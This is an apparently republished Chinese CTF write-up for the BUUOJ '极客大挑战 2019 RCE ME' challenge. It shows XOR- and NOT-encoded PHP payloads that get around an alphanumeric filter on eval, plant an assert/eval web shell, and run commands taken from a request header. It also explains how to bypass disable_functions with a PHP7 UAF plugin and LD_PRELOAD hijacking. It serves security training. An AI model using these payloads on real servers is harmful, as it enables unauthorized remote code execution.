zoukankan      html  css  js  c++  java
  • [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥

    进入题目给出源码:

    <?php
    error_reporting(0);
    if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                die("This is too Long.");
            }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                die("NO.");
            }
        @eval($code);
    }
    else{
        highlight_file(__FILE__);
    }
    ?>  

    过滤了字母数字,考虑异或或者取反绕过,老套路

    先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:

    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

     可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被Ban了,先构造个Shell连上看一下:

    ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

    根目录下可以看到/flag和/readflag两个文件,应该是要通过执行/readflag来获取Flag的

     但是执行命令的函数都被禁用了,想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF

    运行得到终端,运行/readflag获得Flag:

    但这个应该不是预期的解法,做完之后又看了一下出题师傅的预期解法:

    一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等
    这里的话都过滤的比较好,
    这时候,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令
    https://www.anquanke.com/post/id/175403
    https://www.freebuf.com/articles/web/192052.html

    具体原理上面讲的比我好,大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
    可惜的是,大部分同学做到这一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶机上前人做题留下来的脚本直接使用拿到/flag,并没有自己去想怎么绕过disable_function

    这里劫持共享so的具体操作可以参考:http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/

    前面的预期exp还是利用了PHP7的特性,构造了一个取反的payload:

    (~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));

    然后可以在U-A头中执行命令,具体的可以参考出题师傅的博客:https://evoa.me/index.php/archives/62/

  • 相关阅读:
    排序
    git常用操作_分支合并_新建工程等
    ibatis 中调用存储过程
    IDEA试用期结束激活问题
    kafka本地工程的调用说明
    python yield 和 yield from用法总结
    ubuntu14.06 Lts开启ssh服务
    QT-1-环境搭建QT5.4.1&MinGW4.9.1
    虚拟机Ping不通主机解决
    CRC类(处理ITU表)
  • 原文地址:https://www.cnblogs.com/yesec/p/12483631.html
Copyright © 2011-2022 走看看